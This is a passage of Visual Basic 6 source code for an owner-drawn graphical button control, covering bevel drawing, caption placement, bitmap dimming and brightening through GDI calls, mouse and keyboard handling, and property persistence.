(ByVal hdc As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long\n'Constants for API calls\n'----------------------------------------------------------\nPrivate Const TA_CENTER = 6\nPrivate Const TA_LEFT = 0\nPrivate Const TA_RIGHT = 2\nPrivate Const TA_BASELINE = 24\nPrivate Const DT_BOTTOM = &H8\nPrivate Const DT_CALCRECT = &H400\nPrivate Const DT_CENTER = &H1\nPrivate Const DT_EXPANDTABS = &H40\nPrivate Const DT_EXTERNALLEADING = &H200\nPrivate Const DT_LEFT = &H0\nPrivate Const DT_NOCLIP = &H100\nPrivate Const DT_NOPREFIX = &H800\nPrivate Const DT_RIGHT = &H2\nPrivate Const DT_SINGLELINE = &H20\nPrivate Const DT_TABSTOP = &H80\nPrivate Const DT_TOP = &H0\nPrivate Const DT_VCENTER = &H4\nPrivate Const DT_WORDBREAK = &H10\nPrivate Const TRANSPARENT = 1\nPrivate Const BI_RGB = 0&\nPrivate Const DIB_RGB_COLORS = 0& ' color table in RGBs\n'TypeDef Structs that this control uses\n'----------------------------------------------------------\nPrivate Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Enum eBevelType\n'----------------------------------------------------------\n'Do not change these values, they are set for specific reasons,\n'as i do some bit operations on them to change settings.\n'It works like this, each value is two bits:\n'\n' 1 1\n' Mouse Up or Down Mouse in area?\n' -0 if Up, 1 if Down -0 if Out, 1 if In\n'\n'Heh, and you thought VB programmers never knew what bits were.. :)\n'----------------------------------------------------------\n UpIn = 1\n DownIn = 3\n UpOut = 0\n DownOut = 2\nEnd Enum\n'Bevel width constant\nPrivate Const ciBevelWidth As Integer = 1\nPublic Enum eVTextPosition\n cTop = 0\n cMiddle = 1\n cBottom = 2\n c3Quarters = 3\nEnd Enum\nPublic Enum eHTextPosition\n ciLeft = 0\n ciCenter = 1\n ciRight = 2\nEnd Enum\n'Property variables\nPrivate bLoaded As Boolean\nPrivate bUnderlineFocus As Boolean\nPrivate bUsePictures As Boolean\nPrivate bUseBevels As Boolean\nPrivate bDipControls As Boolean\nPrivate iBevelType As eBevelType\nPrivate bDeviated As Boolean\nPrivate iInitialScaleMode As Integer\nPrivate bAutoSize As Boolean\nPrivate sCaption As String\nPrivate bEnabled As Boolean\nPrivate bButtonsAlwaysUp As Boolean\nPrivate bAutoDim As Boolean\nPrivate lvTextPosition As Long\nPrivate lhTextPosition As Long\nPrivate bAutoColour As Boolean\nPrivate hMouseOverBitmap As Long\nPrivate hMouseDownBitmap As Long\n'Pictures\nPrivate picNormal As StdPicture\nPrivate picMouseOver As StdPicture\nPrivate picMouseDown As StdPicture\n'Colours!\nPrivate colour_Highlight As OLE_COLOR\nPrivate colour_LowLight As OLE_COLOR\nPrivate colour_BackColour As OLE_COLOR\nPrivate colour_TextStdColour As OLE_COLOR\nPrivate colour_TextOverColour As OLE_COLOR\nPrivate colour_Ignore As OLE_COLOR\n'Working variables\nPrivate ti As Integer\nPrivate ti2 As Integer\nPrivate bClick As Boolean\nPrivate bMouseDowned As Boolean\n'Events\n'----------------------------------------------------------\nPublic Event Click()\nPublic Event MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\nPublic Event MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\nPublic Event MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\nPublic Event MouseEnter()\nPublic Event MouseExit()\nPrivate Sub AutoSizeControl()\nDim result As Long, bmp As BITMAP\n'Find bitmap's dimensions. I don't know what picture\n'object width and height is measured in... something weird.\nresult = GetObject(picNormal.Handle, Len(bmp), bmp)\nUserControl.ScaleMode = vbPixels\n'Leave room for bevels if needed\nIf bUseBevels Then\n UserControl.Height = (bmp.bmHeight + 2) * Screen.TwipsPerPixelY\n UserControl.Width = (bmp.bmWidth + 2) * Screen.TwipsPerPixelX\nElse\n UserControl.Height = bmp.bmHeight * Screen.TwipsPerPixelY\n UserControl.Width = bmp.bmWidth * Screen.TwipsPerPixelX\nEnd If\nEnd Sub\n\nPrivate Sub DrawBevel(ByVal nBevelType As Integer)\nOn Error GoTo ErrorHandler\n'Exit this sub if things aren't loaded, otherwise trouble will arise\nIf Not bLoaded Then Exit Sub\n'Manual bitmap drawing, and text output!\n'Sheesh, what a waste of time :)\n'You can't use image and label controls, because they receive\n'mouse events, rather than the control, which messes things up.\n'------------------------------------------------------------------\nDim result As Long, ts As String\nDim picDraw As StdPicture\nDim hBitmapHack As Long\nDim bInnerBevel As Boolean\nDim bBevel As Boolean\nUserControl.ScaleMode = vbPixels\nUserControl.Cls\n'Set vars appropriately\n'------------------------------------------------------------------\nSelect Case nBevelType\n Case DownOut\n bInnerBevel = True\n bBevel = True\n If bUsePictures Then Set picDraw = picNormal\n UserControl.ForeColor = colour_TextStdColour\n hBitmapHack = picNormal.Handle\n \n Case DownIn\n bInnerBevel = True\n bBevel = True\n If bUsePictures Then Set picDraw = picMouseDown\n UserControl.ForeColor = colour_TextOverColour\n hBitmapHack = hMouseDownBitmap\n \n Case UpIn\nDrawUp:\n UserControl.Cls\n bInnerBevel = False\n bBevel = bUseBevels\n If (bUsePictures And Not (picMouseOver Is Nothing)) Then Set picDraw = picMouseOver\n UserControl.ForeColor = colour_TextOverColour\n hBitmapHack = hMouseOverBitmap\n \n Case UpOut\n If bButtonsAlwaysUp Then GoTo DrawUp\n bBevel = False\n UserControl.Cls\n If bUsePictures Then Set picDraw = picNormal\n UserControl.ForeColor = colour_TextStdColour\n hBitmapHack = picNormal.Handle\n \nEnd Select\n'Check in case there's no picture, if not, bail.\nIf picDraw Is Nothing Then Set picDraw = picNormal\nIf picDraw.Handle = 0 Then Exit Sub\n'This next part draws the image and text to the usercontrol\n'I seriously hope there are no memory leaks here.\n'------------------------------------------------------------------\nDim dcDesktop As Long, palHalfTone As Long\nDim dcTemp As Long, palOld As Long\nDim bmpOld As Long, bmp As BITMAP, rt As RECT\nDim XPos As Long, YPos As Long\nDim oldTextAlign As Long\nDim oldTextDrawMode As Long\n'Create a halftone palette to dither to, if needed.\npalHalfTone = CreateHalftonePalette(UserControl.hdc)\n'Create off screen DC to draw to\ndcDesktop = GetDC(ByVal 0&)\ndcTemp = CreateCompatibleDC(dcDesktop)\npalOld = SelectPalette(dcTemp, palHalfTone, True)\nRealizePalette dcTemp\n'Associate picture with dc, including self generated dimmed bitmaps\nIf bAutoDim Then\n bmpOld = SelectObject(dcTemp, hBitmapHack)\nElse\n bmpOld = SelectObject(dcTemp, picDraw.Handle)\nEnd If\n'Blit picture to usercontrol's center\nresult = GetObject(picDraw.Handle, Len(bmp), bmp)\nXPos = UserControl.ScaleWidth / 2 - bmp.bmWidth / 2\nYPos = UserControl.ScaleHeight / 2 - bmp.bmHeight / 2\nBitBlt UserControl.hdc, XPos, YPos, XPos + picDraw.Width, YPos + picDraw.Height, dcTemp, 0, 0, vbSrcCopy\n'Clean up\nGoSub CleanUp\n'------------------------------------------------------------------\nDrawText:\n'Since TextOut won't align, and DrawText doesn't work :P,\n'combine both to make something that does! :)\n'Use DrawText to return the text's height, and textout accordingly!\n'------------------------------------------------------------------\nIf bUseBevels And bBevel Then\n If bInnerBevel Then\n FormInnerBevel\n Else\n FormOuterBevel\n End If\nEnd If\n'Set transparent text rendering\noldTextDrawMode = SetBkMode(UserControl.hdc, TRANSPARENT)\n'Find out the bounds of the usercontrol's rectangle\nresult = GetWindowRect(UserControl.hWnd, rt)\n'Asks DrawText to calculate the height of the text, stick it in result\nresult = DrawText(UserControl.hdc, sCaption, Len(sCaption), rt, DT_CALCRECT)\nSelect Case lhTextPosition\n Case ciLeft\n XPos = 1\n oldTextAlign = SetTextAlign(UserControl.hdc, TA_LEFT)\n \n Case ciCenter\n XPos = UserControl.ScaleWidth / 2\n oldTextAlign = SetTextAlign(UserControl.hdc, TA_CENTER)\n Case ciRight\n XPos = UserControl.ScaleWidth - 1\n oldTextAlign = SetTextAlign(UserControl.hdc, TA_RIGHT)\n \nEnd Select\nSelect Case lvTextPosition\n Case cTop\n YPos = 1\n \n Case cBottom\n YPos = UserControl.ScaleHeight - result - 1\n \n Case cMiddle\n YPos = UserControl.ScaleHeight / 2 - result / 2\n Case c3Quarters\n YPos = UserControl.ScaleHeight * (3 / 4) - result / 2 - 1\n \nEnd Select\nresult = TextOut(UserControl.hdc, XPos, YPos, sCaption, Len(sCaption))\n'Put back the old text alignment style\nSetTextAlign UserControl.hdc, oldTextAlign\n'Put back the old text drawing mode\nSetBkMode UserControl.hdc, oldTextDrawMode\n'Ask the control to repaint itself, since i've changed it's looks.\nUserControl.Refresh\nExit Sub\n'Error handling\n'If we hit an error 91, which will usually mean that picview didn't\n'point to anything, skip blitting image, render text.\n'------------------------------------------------------------------\nErrorHandler:\nIf Err.Number = 91 Then GoTo DrawText: GoSub CleanUp: Exit Sub\nMsgBox \"Error in Coolbutton UserControl, DrawBevel sub!\" & vbCrLf & CStr(Err.Number) & vbCrLf & Err.Description, vbCritical, \"Error!\"\nGoSub CleanUp\nExit Sub\nResume Next\n\n'Frees objects and memory\n'------------------------------------------------------------------\nCleanUp:\nSelectObject dcTemp, bmpOld\nSelectPalette dcTemp, palOld, True\nRealizePalette dcTemp\nDeleteDC dcTemp\nReleaseDC ByVal 0&, dcDesktop\nDeleteObject palHalfTone\nReturn\nEnd Sub\nPublic Sub ForceRedraw()\n DrawBevel iBevelType\nEnd Sub\nPrivate Sub FormBevelLines(ByVal side As Integer, ByVal wid As Integer, ByVal Color As Long)\n'This is from www.planet-source-code.com's extensive vb code\n'library.\n'Unfortunately, the code would never cut and paste right for me,\n'so i've forgotten the author's name.\nDim x1 As Integer, Y1 As Integer, X2 As Integer, Y2 As Integer\nDim rightX As Integer, bottomY As Integer\nDim dx1 As Integer, dx2 As Integer, dy1 As Integer, dy2 As Integer\nDim i As Integer\n \nrightX = UserControl.ScaleWidth - 1\nbottomY = UserControl.ScaleHeight - 1\n \nSelect Case side\n Case 0\n 'Left side\n x1 = 0\n dx1 = 1\n X2 = 0\n dx2 = 1\n Y1 = 0\n dy1 = 1\n Y2 = bottomY + 1\n dy2 = -1\n \n Case 1\n 'Right side\n x1 = rightX\n dx1 = -1\n X2 = x1\n dx2 = dx1\n Y1 = 0\n dy1 = 1\n Y2 = bottomY + 1\n dy2 = -1\n \n Case 2\n 'Top side\n x1 = 0\n dx1 = 1\n X2 = rightX\n dx2 = -1\n Y1 = 0\n dy1 = 1\n Y2 = 0\n dy2 = 1\n \n Case 3\n 'Bottom side\n x1 = 1\n dx1 = 1\n X2 = rightX + 1\n dx2 = -1\n Y1 = bottomY\n dy1 = -1\n Y2 = Y1\n dy2 = dy1\nEnd Select\n\nFor i = 1 To wid\n UserControl.Line (x1, Y1)-(X2, Y2), Color\n x1 = x1 + dx1\n X2 = X2 + dx2\n Y1 = Y1 + dy1\n Y2 = Y2 + dy2\nNext i\nEnd Sub\nPrivate Sub FormOuterBevel()\nUserControl.ScaleMode = vbPixels\nFormBevelLines 0, ciBevelWidth, colour_Highlight\nFormBevelLines 1, ciBevelWidth, colour_LowLight\nFormBevelLines 2, ciBevelWidth, colour_Highlight\nFormBevelLines 3, ciBevelWidth, colour_LowLight\nEnd Sub\n\nPrivate Sub FormInnerBevel()\nUserControl.ScaleMode = vbPixels\nFormBevelLines 0, ciBevelWidth, colour_LowLight\nFormBevelLines 1, ciBevelWidth, colour_Highlight\nFormBevelLines 2, ciBevelWidth, colour_LowLight\nFormBevelLines 3, ciBevelWidth, colour_Highlight\nEnd Sub\nPrivate Sub FreeDimmedBitmaps()\n If hMouseOverBitmap Then DeleteObject hMouseOverBitmap: hMouseOverBitmap = 0\n If hMouseDownBitmap Then DeleteObject hMouseDownBitmap: hMouseDownBitmap = 0\nEnd Sub\nPrivate Sub GenerateDimmedPictures()\nIf picNormal Is Nothing Then Exit Sub\n'i hope there's no bugs here!\nScreen.MousePointer = vbHourglass\nDoEvents\n'Declare variables\nDim Quads() As RGBQUAD, LongColours() As Long\nDim result As Long, bmp As BITMAP\nDim lSize As Long\nDim i As Long\nDim hTempDC As Long\nDim oldBitmap As Long\nDim bmpinfo As BITMAPINFO\nDim ti As Integer\nDim tCol As Long\nDim srcPtr As Long, dstPtr As Long\nDim colIgnore As Long\n'VB stores colours in a differnet order of what windows does.\n'which is hell annoying. Alignment and order is different, so\n'i have to rearrange to get it right.\ncolIgnore = CLng(colour_Ignore)\nDim bArray1(3) As Byte\nDim bArray2(3) As Byte\nsrcPtr = VarPtr(colIgnore)\ndstPtr = VarPtr(bArray1(0))\nCopyMemory ByVal dstPtr, ByVal srcPtr, Len(colIgnore)\nbArray2(0) = bArray1(2)\nbArray2(1) = bArray1(1)\nbArray2(2) = bArray1(0)\nbArray2(3) = 0\nsrcPtr = VarPtr(bArray2(0))\ndstPtr = VarPtr(colIgnore)\nCopyMemory ByVal dstPtr, ByVal srcPtr, Len(colIgnore)\n'ColIgnore has the colour to ignore in API nice terms.\n'Get the bitmap's dimensions\nresult = GetObject(picNormal.Handle, Len(bmp), bmp)\n'Find out the size of the array i need\nlSize = bmp.bmWidth * bmp.bmHeight\n'Make a DC so i can use GetDIBits, SetDIBits\nhTempDC = CreateCompatibleDC(ByVal 0&)\n'Select the bitmap to the DC\noldBitmap = SelectObject(hTempDC, picNormal.Handle)\n'Alloc mem\nReDim Quads(lSize)\nReDim LongColours(lSize)\n'Create info struct, to read raw data in RGB format\n'Asking for the data in RLE format might be a lot faster to\n'process, there's an idea for a speedup.\nWith bmpinfo.bmiHeader\n .biSize = Len(bmpinfo.bmiHeader)\n .biWidth = bmp.bmWidth\n .biHeight = bmp.bmHeight\n .biPlanes = bmp.bmPlanes\n .biBitCount = 32\n .biCompression = BI_RGB\nEnd With\n'Get the data, in Quad and Long form.\nresult = GetDIBits(hTempDC, picNormal.Handle, 0&, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\nresult = GetDIBits(hTempDC, picNormal.Handle, 0&, bmp.bmHeight, LongColours(0), bmpinfo, DIB_RGB_COLORS)\n'Decrease brightness of the bitmap\nFor i = LBound(Quads, 1) To UBound(Quads, 1)\n \n If Not LongColours(i) = colIgnore Then\n With Quads(i)\n .rgbBlue = .rgbBlue * csDimPercent\n .rgbGreen = .rgbGreen * csDimPercent\n .rgbRed = .rgbRed * csDimPercent\n End With\n End If\nNext i\n \n'Delete any bitmap if already created\nIf hMouseDownBitmap Then DeleteObject hMouseDownBitmap\n'Create a bitmap\nhMouseDownBitmap = CreateCompatibleBitmap(UserControl.hdc, bmp.bmWidth, bmp.bmHeight)\n'Select new bitmap\nresult = SelectObject(hTempDC, hMouseDownBitmap)\n'Write bits to it\nresult = SetDIBits(hTempDC, hMouseDownBitmap, 0, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\n'Part 1 done.\n'------------------------------------------------------------------\n'Select original image\nSelectObject hTempDC, picNormal.Handle\n'Get original data again\nresult = GetDIBits(hTempDC, picNormal.Handle, 0, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\n'Brighten, watching for overflows\nFor i = LBound(Quads, 1) To UBound(Quads, 1)\n \n If Not LongColours(i) = colIgnore Then\n \n With Quads(i)\n ti = .rgbBlue * csBriPercent\n If ti < cbMaxValue Then\n .rgbBlue = ti\n Else\n .rgbBlue = cbMaxValue\n End If\n \n ti = .rgbGreen * csBriPercent\n If ti < cbMaxValue Then\n .rgbGreen = ti\n Else\n .rgbGreen = cbMaxValue\n End If\n \n ti = .rgbRed * csBriPercent\n If ti < cbMaxValue Then\n .rgbRed = ti\n Else\n .rgbRed = cbMaxValue\n End If\n End With\n End If\nNext i\n'Delete old bitmap if present\nIf hMouseOverBitmap Then DeleteObject hMouseOverBitmap\n'Create new bitmap\nhMouseOverBitmap = CreateCompatibleBitmap(UserControl.hdc, bmp.bmWidth, bmp.bmHeight)\n'Select bitmap to DC\nSelectObject hTempDC, hMouseOverBitmap\n'Copy data over\nresult = SetDIBits(hTempDC, hMouseOverBitmap, 0, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\n'Part 2 done\n'------------------------------------------------------------------\nDoEvents\n'Clean up\n'------------------------------------------------------------------\n'Dealloc memory\nErase Quads()\nErase LongColours\n'Select back old bitmap\nSelectObject hTempDC, oldBitmap\n'Delete the DC\nresult = DeleteDC(hTempDC)\nScreen.MousePointer = vbNormal\nEnd Sub\nPrivate Function HasBackColourProperty(ByVal ctrl As Object) As Boolean\nOn Error GoTo ErrorHandler\nDim colourTemp As OLE_COLOR\ncolourTemp = ctrl.BackColor\nHasBackColourProperty = True\nExit Function\nErrorHandler:\nExit Function\nEnd Function\nPrivate Sub UserControl_EnterFocus()\n UserControl.FontUnderline = bUnderlineFocus\nEnd Sub\nPrivate Sub UserControl_ExitFocus()\n UserControl.FontUnderline = False\n If bUnderlineFocus Then\n DrawBevel iBevelType\n End If\nEnd Sub\n\nPrivate Sub UserControl_Initialize()\n'Set initial values for variables that i can.\n'----------------------------------------------------------\niBevelType = UpOut\niInitialScaleMode = UserControl.ScaleMode\ncolourHighlight = QBColor(15)\ncolourLowLight = QBColor(8)\ncolourBackColour = vbButtonFace\ncolourTextStdColour = QBColor(0)\ncolourTextOverColour = QBColor(1)\nUseBevels = True\nUsePictures = True\nbDipControls = False\nAutoSize = False\nUseUnderlineOnFocus = True\nbEnabled = True\nEnd Sub\n\nPrivate Sub UserControl_KeyDown(KeyCode As Integer, Shift As Integer)\nIf Not bEnabled Then Exit Sub\n'Traps for spacebar, if it's pushed, then behave like a button\n'----------------------------------------------------------\nIf KeyCode = ti2 Then Exit Sub\nIf KeyCode = vbKeySpace Then\n ti = iBevelType\n iBevelType = DownIn\n DrawBevel iBevelType\n UserControl.Refresh\nEnd If\nti2 = KeyCode\nEnd Sub\nPrivate Sub UserControl_KeyPress(KeyAscii As Integer)\nIf Not bEnabled Then Exit Sub\n'If enter / return 's pressed, then simulate the button going\n'up, then down.\n'----------------------------------------------------------\nIf KeyAscii = vbKeyReturn Then\n Dim iPrevBeveltype\n \n iPrevBeveltype = iBevelType\n \n iBevelType = DownIn\n DrawBevel iBevelType\n UserControl.Refresh\n \n Sleep 50\n \n iBevelType = UpIn\n DrawBevel iBevelType\n UserControl.Refresh\n \n Sleep 50\n \n RaiseEvent Click\n \n iBevelType = iPrevBeveltype\n DrawBevel iBevelType\n \nEnd If\nEnd Sub\nPrivate Sub UserControl_KeyUp(KeyCode As Integer, Shift As Integer)\nIf Not bEnabled Then Exit Sub\n'Accompanying part for the KeyDown sub\n'----------------------------------------------------------\nIf KeyCode = vbKeySpace And ti2 = vbKeySpace Then\n iBevelType = UpIn\n DrawBevel (iBevelType)\n UserControl.Refresh\n \n Sleep 50\n \n RaiseEvent Click\n \n iBevelType = ti\n ti = 0\n DrawBevel (iBevelType)\n ti2 = 0\nEnd If\nEnd Sub\nPrivate Sub UserControl_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\nIf Not bEnabled Then Exit Sub\nDim result As Long\nDim bInArea As Boolean\nbInArea = ((x >= UserControl.ScaleLeft And x <= UserControl.ScaleWidth) And (y >= UserControl.ScaleTop And y <= UserControl.ScaleHeight))\nbClick = False\nIf Button = vbLeftButton Then\n bMouseDowned = True\n 'Mouse down, in area\n \n iBevelType = iBevelType Or 2\n DrawBevel iBevelType\n \n If (iBevelType = UpIn Or iBevelType = DownIn) Then\n result = SetCapture(UserControl.hWnd)\n End If\n \n bClick = (iBevelType And 1 = 1)\n \n bDeviated = True\nElseIf Button = vbRightButton Then\n 'Redraw with the mouse out.\n 'iBevelType = UpOut\n 'DrawBevel iBevelType\nEnd If\nIf bInArea Then\n RaiseEvent MouseDown(Button, Shift, x, y)\nEnd If\nEnd Sub\nPrivate Sub UserControl_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\nIf Not bEnabled Then Exit Sub\nDim result As Long\nDim iPrevBevel As Integer\nDim bInArea As Boolean\n'Bug / Glitch: VB doesn't update X and Y for a scalemode\n'If you change scalemode in the sub, X and Y are not changed, ever!\nUserControl.ScaleMode = iInitialScaleMode\nIf Button = 0 Then\n iBevelType = iBevelType And 1\nElseIf Button = vbLeftButton And bMouseDowned Then\n iBevelType = iBevelType Or 2\nEnd If\niPrevBevel = iBevelType\nbInArea = ((x >= UserControl.ScaleLeft And x <= UserControl.ScaleWidth) And (y >= UserControl.ScaleTop And y <= UserControl.ScaleHeight))\nIf bInArea Then\n 'Set iBevelType to reflect that the mouse is in\n iBevelType = iBevelType Or 1\nElse\n 'Set iBeveltype to reflect that the mouse is out\n iBevelType = iBevelType And 2\nEnd If\nIf (iBevelType And 1) Then\n 'Debug.Print \"mouse in area\"\n \n If iPrevBevel <> iBevelType Then\n DrawBevel iBevelType\n \n 'MouseEnter is raised here, only occurs once.\n RaiseEvent MouseEnter\n result = SetCapture(UserControl.hWnd)\n End If\n RaiseEvent MouseMove(Button, Shift, x, y)\nElse\n \n 'I can raise the event here, because it'll only get called\n 'once, before the usercontrol releases capture of mouse events.\n \n RaiseEvent MouseExit\n \n iBevelType = UpOut\n DrawBevel iBevelType\n result = ReleaseCapture()\n \nEnd If\nEnd Sub\n\nPrivate Sub UserControl_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\nIf Not bEnabled Then Exit Sub\nDim result As Long\nDim bInArea As Boolean\nbInArea = ((x >= UserControl.ScaleLeft And x <= UserControl.ScaleWidth) And (y >= UserControl.ScaleTop And y <= UserControl.ScaleHeight))\n'VB releases capture on mouseup somehow...,\n'might be how it's coded.\nIf Button = vbRightButton Then\n result = SetCapture(UserControl.hWnd)\nEnd If\nIf Button = vbLeftButton Then\n \n iBevelType = iBevelType And 1\n DrawBevel iBevelType\n \n result = SetCapture(UserControl.hWnd)\n bDeviated = False\nEnd If\nIf bClick And (iBevelType And 1 = 1) And bMouseDowned Then\n bClick = False\n RaiseEvent Click\nEnd If\nIf bInArea Then\n RaiseEvent MouseUp(Button, Shift, x, y)\nEnd If\nIf Button = vbLeftButton Then result = SetCapture(UserControl.hWnd)\nbMouseDowned = False\nEnd Sub\n\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag)\nDim picTemp As StdPicture\nWith PropBag\n Set picNormal = .ReadProperty(\"Picture\", picTemp)\n Set picMouseDown = .ReadProperty(\"PictureDown\", picTemp)\n Set picMouseOver = .ReadProperty(\"PictureOver\", picTemp)\n colourHighlight = .ReadProperty(\"colourHighlight\", QBColor(15))\n colourLowLight = .ReadProperty(\"colourLowlight\", QBColor(8))\n colourBackColour = .ReadProperty(\"colourBackColour\", vbButtonFace)\n colourTextStdColour = .ReadProperty(\"colourTextStdColour\", QBColor(0))\n colourTextOverColour = .ReadProperty(\"colourTextOverColour\", colour_TextStdColour)\n colourIgnore = .ReadProperty(\"colourIgnore\", vbBlack)\n Caption = .ReadProperty(\"Caption\", \"\")\n UseBevels = .ReadProperty(\"UseBevels\", True)\n UsePictures = .ReadProperty(\"UsePictures\", True)\n UseDippedControls = .ReadProperty(\"UseDippedControls\", False)\n AutoSize = .ReadProperty(\"AutoSize\", False)\n UseUnderlineOnFocus = .ReadProperty(\"UseUnderlineOnFocus\", True)\n Enabled = .ReadProperty(\"Enabled\", True)\n Set UserControl.Font = .ReadProperty(\"CaptionFont\", UserControl.Font)\n bButtonsAlwaysUp = .ReadProperty(\"AlwaysDrawBevel\", False)\n AutoDim = .ReadProperty(\"AutoDim\", False)\n TextPositionV = .ReadProperty(\"TextPositionV\", cMiddle)\n TextPositionH = .ReadProperty(\"TextPositionH\", ciCenter)\n AutoColour = .ReadProperty(\"AutoColour\", False)\nEnd With\nUserControl.BackColor = colour_BackColour\nbLoaded = True\nEnd Sub\nPrivate Sub UserControl_Resize()\nDrawBevel iBevelType\nEnd Sub\nPrivate Sub UserControl_Show()\nDrawBevel iBevelType\nEnd Sub\n\n\nPublic Property Get Picture() As StdPicture\n Set Picture = picNormal\nEnd Property\nPublic Property Set Picture(ByVal pNewValue As StdPicture)\n Set picNormal = pNewValue\n PropertyChanged \"Picture\"\n \n If bAutoSize Then AutoSizeControl\n If bAutoDim Then GenerateDimmedPictures\n DrawBevel iBevelType\nEnd Property\nPublic Property Get PictureOver() As StdPicture\n Set PictureOver = picMouseOver\nEnd Property\nPublic Property Set PictureOver(ByVal pNewValue As StdPicture)\n Set picMouseOver = pNewValue\n PropertyChanged \"PictureOver\"\nEnd Property\nPublic Property Get PictureDown() As StdPicture\n Set PictureDown = picMouseDown\nEnd Property\nPublic Property Set PictureDown(ByVal pNewValue As StdPicture)\n Set picMouseDown = pNewValue\n PropertyChanged \"PictureDown\"\nEnd Property\nPublic Property Get colourHighlight() As OLE_COLOR\n colourHighlight = colour_Highlight\nEnd Property\nPublic Property Let colourHighlight(ByVal cNewValue As OLE_COLOR)\n colour_Highlight = cNewValue\n PropertyChanged \"colourHighlight\"\nEnd Property\nPublic Property Get colourLowLight() As OLE_COLOR\n colourLowLight = colour_LowLight\nEnd Property\nPublic Property Let colourLowLight(ByVal cNewValue As OLE_COLOR)\ncolour_LowLight = cNewValue\nPropertyChanged \"colourLowLight\"\nEnd Property\nPublic Property Get colourBackColour() As OLE_COLOR\n colourBackColour = colour_BackColour\nEnd Property\nPublic Property Let colourBackColour(ByVal cNewValue As OLE_COLOR)\ncolour_BackColour = cNewValue\nPropertyChanged \"colourBackColour\"\nUserControl.BackColor = cNewValue\nDrawBevel iBevelType\nEnd Property\nPublic Property Get colourTextStdColour() As OLE_COLOR\n colourTextStdColour = colour_TextStdColour\nEnd Property\nPublic Property Let colourTextStdColour(ByVal cNewValue As OLE_COLOR)\n colour_TextStdColour = cNewValue\n PropertyChanged \"colourTextStdColour\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get colourTextOverColour() As OLE_COLOR\n colourTextOverColour = colour_TextOverColour\nEnd Property\nPublic Property Let colourTextOverColour(ByVal cNewValue As OLE_COLOR)\ncolour_TextOverColour = cNewValue\nPropertyChanged \"colourTextOverColour\"\nEnd Property\nPrivate Sub UserControl_Terminate()\n FreeDimmedBitmaps\nEnd Sub\nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag)\nDim picTemp As StdPicture, fntTemp As Font\nWith PropBag\n .WriteProperty \"CaptionFont\", UserControl.Font, fntTemp\n .WriteProperty \"Picture\", picNormal, picTemp\n .WriteProperty \"PictureDown\", picMouseDown, picTemp\n .WriteProperty \"PictureOver\", picMouseOver, picTemp\n .WriteProperty \"colourHighlight\", colour_Highlight, QBColor(15)\n .WriteProperty \"colourLowlight\", colour_LowLight, QBColor(8)\n .WriteProperty \"colourBackColour\", colour_BackColour, &H8000000F\n .WriteProperty \"colourTextStdColour\", colour_TextStdColour, QBColor(0)\n .WriteProperty \"colourTextOverColour\", colour_TextOverColour, colour_TextStdColour\n .WriteProperty \"colourIgnore\", colourIgnore, vbBlack\n .WriteProperty \"Caption\", sCaption, \"\"\n .WriteProperty \"UseBevels\", UseBevels, True\n .WriteProperty \"UsePictures\", UsePictures, True\n .WriteProperty \"UseDippedControls\", UseDippedControls, False\n .WriteProperty \"AutoSize\", AutoSize, False\n .WriteProperty \"Enabled\", Enabled, True\n .WriteProperty \"UseUnderlineOnFocus\", UseUnderlineOnFocus, True\n .WriteProperty \"AlwaysDrawBevel\", bButtonsAlwaysUp, False\n .WriteProperty \"AutoDim\", AutoDim, False\n .WriteProperty \"TextPositionV\", TextPositionV, cMiddle\n .WriteProperty \"TextPositionH\", TextPositionH, ciCenter\n .WriteProperty \"AutoColour\", AutoColour, False\nEnd With\nEnd Sub\n\nPublic Property Get Caption() As String\nCaption = sCaption\nEnd Property\nPublic Property Let Caption(ByVal sNewValue As String)\nsCaption = sNewValue\nPropertyChanged \"Caption\"\nDim i As Integer, ts As String\ni = InStr(1, sNewValue, \"&\", vbBinaryCompare)\nIf i <> 0 And i <> Len(sNewValue) Then\n ts = Mid$(sNewValue, i + 1, 1)\n UserControl.AccessKeys = ts\nEnd If\nDrawBevel iBevelType\nEnd Property\nPublic Property Get UsePictures() As Boolean\n UsePictures = bUsePictures\nEnd Property\nPublic Property Let UsePictures(ByVal bNewValue As Boolean)\n bUsePictures = bNewValue\n PropertyChanged \"UsePictures\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get UseBevels() As Boolean\n UseBevels = bUseBevels\nEnd Property\nPublic Property Let UseBevels(ByVal bNewValue As Boolean)\n bUseBevels = bNewValue\n PropertyChanged \"UseBevels\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get UseDippedControls() As Boolean\n UseDippedControls = bDipControls\nEnd Property\nPublic Property Let UseDippedControls(ByVal bNewValue As Boolean)\n bDipControls = bNewValue\n PropertyChanged \"UseDippedControls\"\nEnd Property\nPublic Property Get AutoSize() As Boolean\n AutoSize = bAutoSize\nEnd Property\nPublic Property Let AutoSize(ByVal bNewValue As Boolean)\n bAutoSize = bNewValue\n PropertyChanged \"AutoSize\"\n If bAutoSize Then AutoSizeControl\nEnd Property\nPublic Property Get UseUnderlineOnFocus() As Boolean\n UseUnderlineOnFocus = bUnderlineFocus\nEnd Property\nPublic Property Let UseUnderlineOnFocus(ByVal bNewValue As Boolean)\n bUnderlineFocus = bNewValue\n PropertyChanged \"UseUnderlineOnFocus\"\nEnd Property\n\nPublic Property Get CaptionFont() As Font\n Set CaptionFont = UserControl.Font\nEnd Property\nPublic Property Set CaptionFont(ByVal fNewValue As Font)\nSet UserControl.Font = 